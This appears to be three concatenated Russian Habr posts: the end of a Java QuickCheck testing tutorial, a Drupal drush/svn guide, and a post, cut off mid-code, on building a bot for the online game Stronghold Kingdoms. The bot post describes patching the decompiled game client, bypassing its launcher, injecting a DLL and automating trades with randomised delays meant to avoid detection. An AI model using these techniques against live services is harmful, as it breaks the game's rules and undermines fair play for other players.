Разумеется, под словом «корректное решение» подразумевается лишь то, что оно стабильно проходит все тесты *на данном этапе*. Хотя, очевидно, и не годится для общего случая.
Следует передохнуть и немного порефлексировать. Теория, которая сама подбирает *контрпример* для текущего кода, оказывается весьма удобной штукой. Процесс работы над кодом превращается в пинг-понг с роботом, который наносит быстрые, точные и каверзные удары. Не нужно тратить время на обдумывание новых примеров, ломающих код, потому что они рождаются сами. Вместо этого можно полностью сконцентрироваться на мыслях о самом алгоритме, шлифовать его в режиме потока. Отчасти это и объясняет, почему в коммитах возник [такой большой скачок](https://github.com/ahitrin/jq-example/commit/196e5b6d942c78300d94dc272b43fa221d4d42c6). Просто код рождался слишком быстро, чтобы промежуточные шаги успевали затвердеть и оформиться в полноценные коммиты.
Пока что кажется, что всё очень круто. Мы написали *всего пару* теорий, и они в полу-автоматическом режиме выпестовали наш алгоритм. Разве это не красота? Однако посмотрим, что будет дальше.
Пора вырастать из коротких штанишек
===================================
Эйфория постепенно проходит, и глаз начинает обращать внимание на острые углы, которые мы старательно огибали на первых этапах. Наш код, конечно, работает по спецификации, но эта спецификация определена только для чисел от 2 до 50. Небогато! На этом интервале и без программы можно обойтись, просто посчитать всё в уме.
Давайте двигаться дальше. Поднимем верхнюю границу в 10 раз во всех теориях!
```
@Theory public void primeNumberIsItsOwnFactor(@ForAll @InRange(minInt = 2, maxInt = 500) Integer number) {
...
}
@Theory public void productOfFactorsShouldBeEqualToNumber(@ForAll @InRange(minInt = 2, maxInt = 500) Integer number) {
...
}
@Theory public void everyFactorShouldBeSimple(@ForAll @InRange(minInt = 2, maxInt = 500) Integer number) {
...
}
```
*Внезапно* возникает новая проблема: наши теории не в курсе, что существуют простые числа, больше 47 (упс, никто не знакомил её с [Эвклидом](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%81%D1%82%D0%BE%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%BE#.D0.91.D0.B5.D1.81.D0.BA.D0.BE.D0.BD.D0.B5.D1.87.D0.BD.D0.BE.D1.81.D1.82.D1.8C_.D0.BC.D0.BD.D0.BE.D0.B6.D0.B5.D1.81.D1.82.D0.B2.D0.B0_.D0.BF.D1.80.D0.BE.D1.81.D1.82.D1.8B.D1.85_.D1.87.D0.B8.D1.81.D0.B5.D0.BB)). Надо придумывать новый способ определения простых чисел.
Немного сжульничаем (или всё тут честно?) и воспользуемся [готовой реализацией проверки на простоту](http://docs.oracle.com/javase/7/docs/api/java/math/BigInteger.html#isProbablePrime(int)), которая есть в стандартной библиотеке Java. Чтобы не нарушать красоту и единообразие кода, сделаем её в виде соответствующего матчера.
```
@Theory public void primeNumberIsItsOwnFactor(@ForAll @InRange(minInt = 2, maxInt = 500) Integer number) {
assumeThat(number, isProbablySimple());
List factors = PrimeFactors.extract(number);
assertThat(factors, hasItem(number));
}
@Theory public void productOfFactorsShouldBeEqualToNumber(@ForAll @InRange(minInt = 2, maxInt = 500) Integer number) {
...
}
@Theory public void everyFactorShouldBeSimple(@ForAll @InRange(minInt = 2, maxInt = 500) Integer number) {
List factors = PrimeFactors.extract(number);
assertThat(factors, everyItem(isProbablySimple()));
}
private Matcher isProbablySimple()
{
return new BaseMatcher()
{
@Override
public boolean matches(Object item)
{
return (item instanceof Integer) &&
(BigInteger.valueOf((Integer) item).isProbablePrime(5));
}
@Override
public void describeTo(Description description)
{
description.appendText("prime number");
}
};
}
```
Теперь наш код падает на разложении больших чисел. Самое время исправить его!
```
public class PrimeFactors
{
public static List extract(Integer number)
{
List factors = new ArrayList<>();
for (int divisor = 2; divisor <= number; divisor++) {
...
```
Исправляем старую границу цикла (7) на `number`, и, кажется, всё снова работает.
Осталась лишь малость: раздвинуть границы тестов ещё шире и наслаждаться результатом. И тут нас ждёт внезапный сюрприз…
Столкновение с суровой реальностью
==================================
Реальность выглядит [так](https://github.com/ahitrin/jq-example/commit/26c77e0386a757b9d956382333b52ec7452927a9):
```
@Theory public void primeNumberIsItsOwnFactor(@ForAll @InRange(minInt = 2, maxInt = Integer.MAX_VALUE) Integer number) {
...
}
@Theory public void productOfFactorsShouldBeEqualToNumber(@ForAll @InRange(minInt = 2, maxInt = Integer.MAX_VALUE) Integer number) {
...
}
@Theory public void everyFactorShouldBeSimple(@ForAll @InRange(minInt = 2, maxInt = Integer.MAX_VALUE) Integer number) {
...
}
```
Стоило нам увеличить верхнюю границу тестов с 500 до `Integer.MAX_VALUE` (2^31 — 1), как тесты стали работать **нереально** долго. По минуте на каждый тест. В чём же дело? Что не так?
Неожиданным сайд-эффектом тестов в QuickCheck-стиле оказывается их *чувствительность к скорости тестируемого кода*. Хотя, если подумать, это вполне логично: если наш код не оптимизирован и работает медленно, то сто обращений к нему сделают эту неоптимальность в сто раз виднее. В «классических» юнит-тестах это замедление не будет так заметно, а здесь проявляется во всей красе.
Что мы делаем, когда нам нужно найти затык в коде? Варианта два: либо берём в руки профайлер и начинаем снимать показания, либо ищем ошибку *методом пристального разглядывания*.
Впрочем, в нашем коде разглядывать особо нечего, всё и так на виду. Проблема в том, что мы слишком долго бегаем по циклу без дела, напрасно сжигая электричество. Каждый, кто знаком с алгоритмом разложения числа на множители, помнит, что нам достаточно проверять множители, которые не превышают квадратного корня от данного числа. А кто не помнит, тот может сходить [к дяде Бобу](http://butunclebob.com/ArticleS.UncleBob.ThePrimeFactorsKata).
Накатим же [фикс](https://github.com/ahitrin/jq-example/commit/c93a68c449e3aba074731fd25f6abbb4d620a077). Снова изменим верхнюю границу цикла, но на этот раз до `Math.sqrt(number)`.
```
public class PrimeFactors
{
public static List extract(Integer number)
{
List factors = new ArrayList<>();
for (int divisor = 2; divisor <= Math.sqrt(number) + 1; divisor++) {
...
```
Как это повлияло на результат работы? Тесты снова стали работать быстро, причём разница поистине впечатляет.
Вот теперь-то уже всё совсем хорошо! Все тесты проходят, код выглядит опрятно, получен интересный опыт — не пора ли написать статью на хабр? И тут мне в голову закрадывается ещё мысль…
Тестируй свои тесты
===================
Стоп, дружок, говорю я себе, а верно ли ты записал граничное условие цикла? Точно ли надо добавлять единицу к корню числа, или она лишняя?
Вроде бы, плёвый вопрос. У нас же есть тесты, которые запускаются на сотне тестовых значений! Они и покажут, кто здесь неправ.
Отнимаем "+1" у верхней границы цикла (`divisor <= Math.sqrt(number);`) и запускаем тесты.
Отлично, они проходят!
Отнимаем ещё единицу, просто так, на всякий случай (`divisor < Math.sqrt(number);`).
Тесты снова проходят!
Чтооо?
И вот тут пришлось снова задуматься. Усугубим ситуацию [ещё сильнее](https://github.com/ahitrin/jq-example/commit/5ad248fa471048abf561708f53ecb263d58eec99).
```
public class PrimeFactors
{
public static List extract(Integer number)
{
List factors = new ArrayList<>();
for (int divisor = 2; divisor < Math.sqrt(number) - 2; divisor++) {
...
```
Я написал заведомо неправильный код (он не найдёт множителей даже у числа 9), *но тесты говорят, что всё хорошо*. Я запускаю их ещё раз — они снова говорят, что всё хорошо. Я запускаю их снова — раз за разом они успешно проходят. Падения происходят совсем редко, и контрпримеры к моему ошибочному алгоритму, которые тесты изредка находят, не сохраняются для следующих запусков.
В чём причина такого поведения тестов?
Увеличив границы тестов до `Integer.MAX_VALUE`, мы смогли найти и исправить проблемы с производительностью, но попали в новую ловушку. Фокус в том, что с такими настройками диапазона в тестах используются *преимущественно большие* числа (потому что для генерации используется равномерное распределение). А внедрённый в код дефект проявляет себя только на квадратах простых чисел (я надеюсь, не требует разъяснения), которых среди больших чисел *очень мало*.
К сожалению, мне не удалось придумать решения более удачного, чем снова немного сжульничать и сделать *копию* существующей спецификации, но только снова с узкими границами.
```
@Theory public void everyFactorShouldBeSimple(@ForAll @InRange(minInt = 2, maxInt = Integer.MAX_VALUE) Integer number) {
List factors = PrimeFactors.extract(number);
assertThat(factors, everyItem(isProbablySimple()));
}
@Theory public void everyFactorShouldBeSimpleEspeciallyForSmallNumbers(@ForAll @InRange(minInt = 2, maxInt = 200) Integer number) {
everyFactorShouldBeSimple(number);
}
```
Выглядит это коряво, но хотя бы позволяет найти точную верхнюю границу, до которой нужно гонять цикл (`divisor <= Math.sqrt(number)`).
Пора подвести итоги и собрать вместе все открытия, которые попались нам в этом (казалось бы) простом примере.
Что же мы получили в итоге
==========================
Даже один эксперимент в малознакомой области может принести немало открытий. Попробую собрать все особенности QuickCheck-подхода в один пучок и оценить их.
Лаконичная спецификация
-----------------------
Действительно, есть такое. Мне пришлось написать всего три теории, каждая из которых проверяла одну особенность алгоритма. Это заметно меньше, чем десяток обычных юнит-тестов, который возникает в классическом варианте каты. Запишем эту особенность в однозначный плюс данной техники.
Необходимость тщательно формулировать проверяемые свойств
---------------------------------------------------------
Для того, чтобы теории хорошо работали, надо придумывать *качественные* свойства для проверки, которые инвариантны относительно входных параметров. Иногда это может быть действительно сложным. Может казаться, будто нужно полностью реализовать тестируемый алгоритм внутри тестового кода.
В приведённом примере удалось воспользоваться методом `isProbablePrime`, который использует быстрый эвристический алгоритм для *неточной* проверки числа на простоту. Однако, если бы такого алгоритма не существовало, то какие у нас остались бы возможности проверки? Ведь, по определению, простое число — это такое число, у которых нет делителей. И, чтобы проверить простоту числа, нужно постараться *разложить его на делители*.
Возможно, это самый сложный момент в QuickCheck-тестировании. Мне потребуются дальнейшие исследования, чтобы понять, насколько тяжело бывает создать хорошие инварианты для использования в теориях.
Чувствительность к медленному коду
----------------------------------
С одной стороны, это хорошо, потому что может сразу подсказать, что наш код неоптимален. С другой стороны, если код в принципе невозможно сильно ускорить, то придётся либо смирится с медленной работой тестов, либо снижать количество случайных значений, которые используются в качестве тестовых параметров. А если мы снижаем число случайных значений, то в соответствующей степени падает и наша уверенность в том, что тесты найдут возможные дефекты в коде.
Я думаю, Вы уже догадались, что использовать QuickCheck для end-to-end тестирования может оказаться не самой лучшей идеей именно по этой причине. Хотя, если очень уж хочется, то [можно и попробовать](https://www.fpcomplete.com/user/christianpbrink/quickcheck-and-webdriver).
Нечувствительность к граничным условиям
---------------------------------------
Возможно, это особенность конкретно библиотеки JUnit-QuickCheck, а в других языках с этим делом ситуация обстоит лучше. Или это особенность конкретного примера, который мы выбрали для пробы. Тем не менее, это показывает, что не стоит всегда легкомысленно полагаться на случайные значения, которые услужливо подбирает для нас библиотека. Всё равно приходится тяжко думать мозгом и перепроверять корректность написанного кода.
QuickCheck тоже можно использовать для TDD!
-------------------------------------------
Похоже, это вполне реально, хотя ощущения и отличаются. Из-за того, что теорий получается меньше (и каждая из них тестирует больше случаев), проще выстроить цепочку тестовых методов, которая приведёт нас к рабочему коду. С другой стороны, это может обернуться и неприятностями, если потребуется делать слишком большой шаг для того, чтобы заставить код проходить свежедобавленную теорию. Впрочем, с такими проблемами люди сталкиваются и в классическом TDD (и либо находят способы их решать, либо начинают бояться TDD в принципе).
Не исключено, что при тестировании кода будет хорошо работать комбинация классических тестов-примеров и параметризованных теорий в стиле QuickCheck. Я обязательно постараюсь продолжить свои исследования в этой области и поделюсь интересными находками. | https://habr.com/ru/post/240811/ | null | ru | null |
# Drupal, drush & svn
В своём проекте мы используем svn для контроля версий. Однако, как оказалось, «подружить» с ним drupal – нетривиальная задача.
Пока мы не открыли для себя drush, приходилось тратить много телодвижений для выполнения обновления ядра и используемых модулей.
Drush – drupal shell – Инструмент для администрирования drupal'а из командной строки.
Страница проекта: <http://drupal.org/project/drush>.
Среди его возможностей – загрузка/обновление ядра и модулей, а также интеграция с системами контроля версий, в частности – svn.
Далее я приведу небольшой пример того, как используется drush для обновления компонентов drupal'а и переноса этих обновлений в наш svn-репозиторий.
Итак, начнём.
#### Загрузка пустого проекта из репозитория
Загрузим из svn-репозитория наш пока ещё пустой проект в папку /home/user/workspace/drupal:
`[user@drush ~]$cd /home/user/workspace/
[user@drush workspace]$ svn checkout xxx/bully/drush drupal --username=xxx --password=xxx`
#### Подготовка структуры папок
При загрузке drush помещает ядро drupal'а в папку с именем drupal-x.xx, где x.xx – версия drupal'а, поэтому для удобства в дальнейшем создадим папку www – в ней будет храниться код нашего проекта, а при обновлении будем использовать симлинки не неё.
`[user@drush workspace]$ cd drupal
[user@drush drupal]$ md www
[user@drush drupal]$ ls -l
total 4
drwxr-xr-x 2 user user 4096 2010-04-17 17:30 www/`
Добавим созданую папку в репозиторий – это необходимо для корректной работы в дальнейшем.
`[user@drush drupal]$ svn add www`
#### Загрузка ядра
Для примера, начнём работу с версии ядра 6.14, поэтому создадим для папки www симлинк drupal-6.14 внутри папки drupal:
`[user@drush drupal]$ ln -s www drupal-6.14
[user@drush drupal]$ ls -l
total 4
lrwxrwxrwx 1 user user 3 2010-04-17 17:33 drupal-6.14 -> www/
drwxr-xr-x 2 user user 4096 2010-04-17 17:30 www/`
Добавляем созданный симлинк в svn-репозиторий:
`[user@drush drupal]$ svn add drupal-6.14`
Загружаем ядро:
`[user@drush drupal]$ drush dl drupal-6.14 --svnsync
Project drupal (6.14) downloaded to /home/user/workspace/drupal/drupal-6.14/. [success]
You should consider committing the new code to your Subversion repository.
If this version becomes undesireable, use Subversion to roll back.`
Команда dl предназначена для загрузки ядра либо модулей.
Параметр --svnsync предназначен для автоматического обновления информации об изменениях в svn-репозитории.
Проверяем как и что загрузилось:
`[user@drush drupal]$ ls -l
total 4
lrwxrwxrwx 1 user user 3 2010-04-17 20:33 drupal-6.14 -> www/
drwxr-xr-x 10 user user 4096 2009-09-16 23:40 www/
[user@drush drupal]$ cd www
[user@drush www]$ ls -l
total 224
-rw-r--r-- 1 user user 43058 2009-09-16 23:34 CHANGELOG.txt
-rw-r--r-- 1 user user 988 2009-09-14 16:50 COPYRIGHT.txt
-rw-r--r-- 1 user user 262 2006-08-09 11:42 cron.php
drwxr-xr-x 3 user user 4096 2010-04-17 20:35 includes/
-rw-r--r-- 1 user user 980 2007-12-26 11:46 index.php
-rw-r--r-- 1 user user 1308 2007-11-19 22:53 INSTALL.mysql.txt
-rw-r--r-- 1 user user 1075 2007-11-26 19:36 INSTALL.pgsql.txt
-rw-r--r-- 1 user user 46926 2009-04-27 14:50 install.php
-rw-r--r-- 1 user user 15646 2008-07-09 23:15 INSTALL.txt
-rw-r--r-- 1 user user 18048 2009-01-06 20:27 LICENSE.txt
-rw-r--r-- 1 user user 1924 2009-04-29 21:15 MAINTAINERS.txt
drwxr-xr-x 4 user user 4096 2010-04-17 20:35 misc/
drwxr-xr-x 36 user user 4096 2010-04-17 20:35 modules/
drwxr-xr-x 4 user user 4096 2010-04-17 20:35 profiles/
-rw-r--r-- 1 user user 1590 2008-12-10 23:12 robots.txt
drwxr-xr-x 3 user user 4096 2010-04-17 20:35 scripts/
drwxr-xr-x 5 user user 4096 2010-04-17 20:35 sites/
drwxr-xr-x 8 user user 4096 2010-04-17 20:35 themes/
-rw-r--r-- 1 user user 25457 2009-03-30 15:15 update.php
-rw-r--r-- 1 user user 5002 2008-01-04 19:15 UPGRADE.txt
-rw-r--r-- 1 user user 352 2005-12-10 22:26 xmlrpc.php
[user@drush www]$`
Видим, что загрузилось всё, что надо и так, как надо. Проверим информацию для svn-репозитория:
`[user@drush www]$ cd ..
[user@drush drupal]$ svn status
A www
A www/profiles
A www/profiles/default
A www/profiles/default/default.profile
A www/INSTALL.txt
A www/themes
...
A www/modules/user/user-profile-item.tpl.php
A www/modules/user/user.admin.inc
A www/update.php
A www/INSTALL.pgsql.txt
A www/.htaccess
A drupal-6.14
[user@drush drupal]$`
Видим, что и тут всё в порядке.
#### Загрузка модулей
Для загрузки модулей создадим папку modules и добавим её в репозиторий – это необходимо для корректной работы в дальнейшем.
`[user@drush all]$ cd /home/user/workspace/drupal/www/sites/all
[user@drush all]$ md modules
[user@drush all]$ svn add modules`
Собственно загрузка нужных нам модулей:
`[user@drush all]$ drush dl views cck context --svnsync
Project views (6.x-2.10) downloaded to [success]
/home/user/workspace/drupal/www/sites/all/modules/views.
You should consider committing the new code to your Subversion repository.
If this version becomes undesireable, use Subversion to roll back.
Project cck (6.x-2.6) downloaded to /home/user/workspace/drupal/www/sites/all/modules/cck. [success]
You should consider committing the new code to your Subversion repository.
If this version becomes undesireable, use Subversion to roll back.
Project context (6.x-2.0-beta7) downloaded to [success]
/home/user/workspace/drupal/www/sites/all/modules/context.
You should consider committing the new code to your Subversion repository.
If this version becomes undesireable, use Subversion to roll back.`
Как видим, модули загрузились, информация для svn-репозитория обновилась. Красота!
#### Обновление ядра
С версии 6.14 много воды утекло, много багов найдено, поэтому пора бы и до 6.16 обновиться.
Коммиты предыдущих примеров в репозиторий я опускаю, сразу перейдём к самому интересному.
Создадим для папки www симлинк drupal-6.16 внутри папки drupal:
`[user@drush www]$ cd /home/user/workspace/drupal/
[user@drush drupal]$ ln -s www drupal-6.16
[user@drush drupal]$ svn add drupal-6.16`
Загрузим последнюю (на момент написания этой статьи) версию ядра:
`[user@drush drupal]$ drush dl drupal-6.16 --svnsync
Project drupal (6.16) downloaded to /home/user/workspace/drupal/drupal-6.16/. [success]
You should consider committing the new code to your Subversion repository.
If this version becomes undesireable, use Subversion to roll back.`
Вот и всё!
#### Вместо заключения
Drush – незаменимый инструмент для администраторов и разработчиков, который даёт возможность быстрого и удобного управления сайтами всего ландшафта проекта. | https://habr.com/ru/post/91287/ | null | ru | null |
# Написание бота для Stronghold Kingdoms
##### История написания бота для Stronghold Kingdoms
Долгое время я подходил к вопросу написания бота для этой игры, но то опыта не хватало, то лень, то не с той стороны заходить пытался.
В итоге, набравшись опыта написания и обратной разработки кода на C# я решил добиться своего.
Да, как Вы могли заметить, C# не спроста – игра написана именно на нем, с использованием .net 2.0, что в последствии вставило мне некоторые палки в колеса.
Изначально я думал написать сокетного бота, который бы лишь эмулировал сетевой протокол (который никак не шифруется), а имея «исходные коды» (результат декомпиляции il-кода) легко восстанавливается в стороннем приложении.
Но мне это показалось нудным и муторным, ведь зачем городить велосипед, если имеются те самые «исходные коды».
Вооружившись Reflector’ом я начал разбираться с точкой входа игры (код которой вообще никак не обфусцирован более трех лет, диву даюсь разработчикам) – ничего особенного.
###### Анализ и отчасти неверное решение
Очевидно, что проект игры изначально создавался как консольное приложение:
private static void Main(string[] args) как точка входа и ее класс Program на это намекают, класс, к слову, тоже приватный.
В первую очередь, кинулся делать класс и метод публичными, опять же силами Reflector’а с дополнением к нему Reflexil, сам не зная чего ожидать.
Но внезапно я столкнулся с лаунчером, который перекачивал измененный файл.
Недолго повоевав с ним тем же Reflector'ом и проведя вскрытие выдернул оттуда код установки аргументов передающихся исполняемому файлу игры:
```
if (DDText.getText(0x17) == "XX")
parameters = new string[] { "-InstallerVersion", "", "", "st" }; // st == steam
else
parameters = new string[] { "-InstallerVersion", "", "" };
parameters[1] = SelfUpdater.CurrentBuildVersion.ToString();
parameters[2] = DDText.getText(0); // Покопавшись, узнал что это язык игры, в формате “ru”, “de”, “en” и т.д. Подгружается из файла local.txt рядом с лаунчером.
UpdateManager.SetCommandLineParameters(parameters); // А это их обертка для самого обычного System.Diagnostics.Process
UpdateManager.StartApplication();
```
Разбираем:
`if (DDText.getText(0x17) == "XX")` — Строка из файла local.txt рядом с лаунчером.
Такая у них странная проверка на steam/no-steam версии: X – не стим, XX – стим. :\
`parameters[1] = SelfUpdater.CurrentBuildVersion` — Версия лаунчера, спокойно дергается из него же, хотя проверка в клиенте странная, как я узнал позже, и можно просто указать число гораздо более большее текущей, «про запас», т.к. проверка идет только на устаревшесть, так скзаать, версии через сравнение чисел «меньше-больше».
`parameters[2] = DDText.getText(0)` — Поковавшись версия, узнал что это язык игры, в формате “ru”, “de”, “en” и т.д.
Подгружается так же из файла local.txt.
К слову, версия лаунчера выглядит как-то так:
```
static SelfUpdater()
{
currentBuildVersion = 0x75; // 117, т.е. 1.17 на самом деле.
}
```
И сделал волшебный батник:
`StrongholdKingdoms.exe -InstallerVersion 117 ru`
Хотя можно и так:
`StrongholdKingdoms.exe -InstallerVersion 100500 ru`
О чем я и говорил чуть выше.
Итак, что имеем: слегка измененный клиент и систему обхода лаунчера, если это можно так назвать.
Попробовав запустить это все, вижу, что игра работает и мои патчи ей не навредили (хотя чего бы им там вредить).
После этого попробовал подключить исполняемый файл игры к проекту в качестве библиотеки классов и подключить пространство имен игры – Kingdoms.
Затем я городил много кода: пытался и вызывать Main, и эмулировать класс Programm, но игра почему-то падала с рантайм крашем не дотнет-фреймворкоского при любой попытке заставить это работать.
Сослался на то, что игра использует много не C# библиотек и много unsafe-кода. Реальных причин так и не нашел.
###### Решение верное
Долго промучавшись и не найдя решения, я уже было плюнул. Но почему-то мне вспомнился форк сервера Terraria — TShock (ага, форк, как же – тоже ребята забавлялись с декомпилятором) и его загрузку модулей (модов\плагинов) из DLL.
Эта идея мне показалось интересной. Погуглив нашел и способ, и код.
Слегка вникнув в него и проверив в собственном проекте, с ужасом обнаружил, что он работает (внезапно!).
Собственно, код:
```
System.Reflection.Assembly A = System.Reflection.Assembly.LoadFrom(System.Windows.Forms.Application.StartupPath + @"\BotDLL.dll");
Type ClassType = A.GetType("BotDLL.Main", true);
object Obj = Activator.CreateInstance(ClassType);
System.Reflection.MethodInfo MI = ClassType.GetMethod("Inject");
MI.Invoke(Obj, null);
```
Разберем код:
`System.Reflection.Assembly` – Это та штука, которая отвечает за создание ссылок на файлы при подключении их к проекту, только из кода. А еще она хранит информацию о версиях вашего проекта и копирайтах (да, тот самый AssemblyInfo.cs во всех ваших проектах).
`Assembly.LoadFrom(System.Windows.Forms.Application.StartupPath + @"\BotDLL.dll")` — Загружаем нашу библиотеку.
Затем вызываем функцию внутри этого класса Inject(), которая и является уже по сути началом бота. =)
Опробовал в стороннем приложении код который набросал – инжект сработал.
###### Патчинг клиента
Теперь переходим к самому интересному – внедряем код вызова в игру.
Попытавшись в наглую его всунуть в Main через замену кода с помощью Reflexil успешно был послан патчить не патчимое в результате декомпиляции. Ну или мне просто было лень, не важно.
Пошел искать в этом самом Main гарантированный вызов сторонних функций (вне основных ветвей if и т.д.) довольно быстро нашел вызов функции MySettings.load(), который загружал настройки игры при ее запуске.
Но там опять же оказалась гора кода который не захотел компилироваться без бубнов.
Зато по счастливой случайности рядом с ним находится булева функция hasLoggedIn() которая возвращает единственное bool значение как раз при запуске игры:
`return (this.HasLoggedIn || (this.Username.Length > 0));`
Меня это сразу обрадовало и тут же эта функция была преобразована в такую:
```
if (!IsStarted)
{
System.Reflection.Assembly A = System.Reflection.Assembly.LoadFrom(System.Windows.Forms.Application.StartupPath + @"\BotDLL.dll");
Type ClassType = A.GetType("BotDLL.Main", true);
object Obj = Activator.CreateInstance(ClassType);
System.Reflection.MethodInfo MI = ClassType.GetMethod("Inject");
MI.Invoke(Obj, null);
IsStarted = true;
}
return (this.HasLoggedIn || (this.Username.Length > 0));
```
Разберемся с ним.
if (!IsStarted) – пришлось добавить эту проверку, а для этого ввести дополнительное поле в класс MySettings, поскольку наша функция вызывается не один раз, а несколько потоков бота нам не очень-то и нужны. Делается это все тем же Reflexil'ом.
Ну основной код мы уже разобрали чуть выше.
И в конце возвращаем то что тут и должно было быть. =)
###### Итак – сам бот
Функция Inject:
```
public void Inject()
{
AllocConsole();
Console.Title = "SHKBot";
Console.WriteLine("DLL загружена!");
Thread Th = new Thread(SHK);
Th.Start();
BotForm FBot = new BotForm();
FBot.Show();
}
…
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool AllocConsole();
```
Сперва мы вызываем функцию открытия окна консоли – так будет проще для отладки.
После запускаем поток с нашим основным циклом бота – SHK();
И заодно открываем форму управления бота для удобства.
Дальше дело за малым – реализовывать нужный вам функционал.
Вот остальной мой код – здесь я реализовал систему автоматической торговли.
Чтобы она работала сперва надо «закэшировать» деревни в каждой сессии – открыть каждую из деревень, которыми собираетесь торговать.
Этот код помогает сомнительно, а до других способов автоматической прогрузки деревень я пока не докопался:
```
InterfaceMgr.Instance.selectVillage(VillageID);
GameEngine.Instance.downloadCurrentVillage();
```
Вот код функции SHK:
**Скрытый текст**
```
public void SHK()
{
Console.WriteLine("Инжект выполнен!");
while (!GameEngine.Instance.World.isDownloadComplete())
{
Console.WriteLine("Мир еще не загружен!");
Thread.Sleep(5000); // 5 sec
Console.Clear();
}
Console.WriteLine("Мир загружен! Начало выполнения операций ядра.");
Console.WriteLine("\n======| DEBUG INFO |======");
Console.WriteLine(RemoteServices.Instance.UserID);
Console.WriteLine(RemoteServices.Instance.UserName);
List VillageIDs = GameEngine.Instance.World.getListOfUserVillages();
foreach (int VillageID in VillageIDs)
{
WorldMap.VillageData Village = GameEngine.Instance.World.getVillageData(VillageID);
Console.WriteLine("[Инициализация] " + Village.m\_villageName + " - " + VillageID);
InterfaceMgr.Instance.selectVillage(VillageID);
GameEngine.Instance.downloadCurrentVillage();
}
Console.WriteLine("======| ========== |======\n");
while (true)
{
try
{
// Тут можно что-нибудь свое воткнуть
}
catch (Exception ex)
{
Console.WriteLine("\n======| EX INFO |======");
Console.WriteLine(ex);
Console.WriteLine("======| ======= |======\n");
}
}
}
```
Код формы контроля:
**Скрытый текст**
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using Kingdoms;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.Reflection;
namespace BotDLL
{
public partial class BotForm : Form
{
Thread TradeThread;
bool IsTrading = false;
public void Log(string Text)
{
Console.WriteLine(Text);
richTextBox_Log.Text = Text + "\r\n" + richTextBox_Log.Text;
}
public BotForm()
{
CheckForIllegalCrossThreadCalls = false;
InitializeComponent();
this.Show();
Log("Форма бота отображена.");
listBox_ResList.SelectedIndex = 0;
Log("Запуск потока торговли...");
TradeThread = new Thread(Trade);
TradeThread.Start();
}
private void button_Trade_Click(object sender, EventArgs e)
{
// Если мир уже загружен и поле цели заполнено
if (GameEngine.Instance.World.isDownloadComplete() && textBox_TradeTargetID.Text.Length > 0)
{
try
{
if (!IsTrading) // Если не торгуем
{
button_Trade.Text = "Стоп";
IsTrading = true; // То торгуем
}
else // И наоборот
{
button_Trade.Text = "Торговать";
IsTrading = false;
}
}
catch (Exception ex)
{
Console.WriteLine("\n======| EX INFO |======");
Log(ex.ToString());
Console.WriteLine("======| ======= |======\n");
}
}
}
public void Trade()
{
Log("Торговый поток создан!");
int Sleep = 0;
while (true) // Если торгуем
{
Sleep = 60 + new Random().Next(-5, 60);
if (IsTrading)
{
Log("[" + DateTime.Now + "] Заход с \"" + listBox_ResList.SelectedItem.ToString() + "\"");
// Получаем ID товара из списка
int ResID = int.Parse(listBox_ResList.SelectedItem.ToString().Replace(" ", "").Split('-')[0]);
int TargetID = int.Parse(textBox_TradeTargetID.Text); // Получаем ID деревни-цели
List VillageIDs = GameEngine.Instance.World.getListOfUserVillages(); // Получаем список наших деревень
foreach (int VillageID in VillageIDs) // Перебираем их
{
// Если деревня прогружена (открывалась ее карта в текущей сессии хоть раз)
if (GameEngine.Instance.getVillage(VillageID) != null)
{
// Получаем базовую информацию о нашей деревни
WorldMap.VillageData Village = GameEngine.Instance.World.getVillageData(VillageID);
VillageMap Map = GameEngine.Instance.getVillage(VillageID); // Получаем полную информацию
int ResAmount = (int)Map.getResourceLevel(ResID); // Кол-во ресурса на складе
int MerchantsCount = Map.calcTotalTradersAtHome(); // Кол-во торговцев в ней
Log("В деревне " + VillageID + " есть " + MerchantsCount + " торговцев"); // Дебаг
int SendWithOne = int.Parse(textBox\_ResCount.Text); // Кол-во ресурса на торговца
int MaxAmount = MerchantsCount \* SendWithOne; // Кол-во ресурсов отправим
if (ResAmount < MaxAmount) // Если торговцы могут увезти больше чем есть
MerchantsCount = (int)(ResAmount / SendWithOne); // Считаем сколько смогут увезти реально
if (MerchantsCount > 0) // Если трейдеры дома есть
{
TargetID = GameEngine.Instance.World.getRegionCapitalVillage(Village.regionID); // Торгуем с регионом, временно
textBox\_TradeTargetID.Text = TargetID.ToString();
// Вызываем высокоуровневую функцию торговли с рядом каллбеков
GameEngine.Instance.getVillage(VillageID).stockExchangeTrade(TargetID, ResID, MerchantsCount \* SendWithOne, false);
AllVillagesPanel.travellersChanged(); // Подтверждаем изменения (ушли трейдеры) в GUI-клиента
}
}
}
Log("Повтор цикла торговли через " + Sleep + " секунд в " + DateTime.Now.AddSeconds(Sleep).ToString("HH:mm:ss"));
Console.WriteLine();
}
Thread.Sleep(Sleep \* 1000); // Спим, чтобы не спамить. Так меньше палева.
}
}
private void BotForm\_FormClosing(object sender, FormClosingEventArgs e)
{
try
{
TradeThread.Abort();
}
catch
{}
}
private void button\_MapEditing\_Click(object sender, EventArgs e)
{
button\_MapEditing.Text = (!GameEngine.Instance.World.MapEditing).ToString();
GameEngine.Instance.World.MapEditing = !GameEngine.Instance.World.MapEditing;
}
private void button\_Exec\_Click(object sender, EventArgs e)
{
if (richTextBox\_In.Text.Length == 0 || !GameEngine.Instance.World.isDownloadComplete())
return;
richTextBox\_Out.Text = "";
// \*\*\* Example form input has code in a text box
string lcCode = richTextBox\_In.Text;
ICodeCompiler loCompiler = new CSharpCodeProvider().CreateCompiler();
CompilerParameters loParameters = new CompilerParameters();
// \*\*\* Start by adding any referenced assemblies
loParameters.ReferencedAssemblies.Add("System.dll");
loParameters.ReferencedAssemblies.Add("System.Data.dll");
loParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
loParameters.ReferencedAssemblies.Add("StrongholdKingdoms.exe");
// \*\*\* Must create a fully functional assembly as a string
lcCode = @"using System;
using System.IO;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Text;
using Kingdoms;
namespace NSpace {
public class NClass {
public object DynamicCode(params object[] Parameters)
{
" + lcCode +
@" return null;
}
}
}";
// \*\*\* Load the resulting assembly into memory
loParameters.GenerateInMemory = false;
// \*\*\* Now compile the whole thing
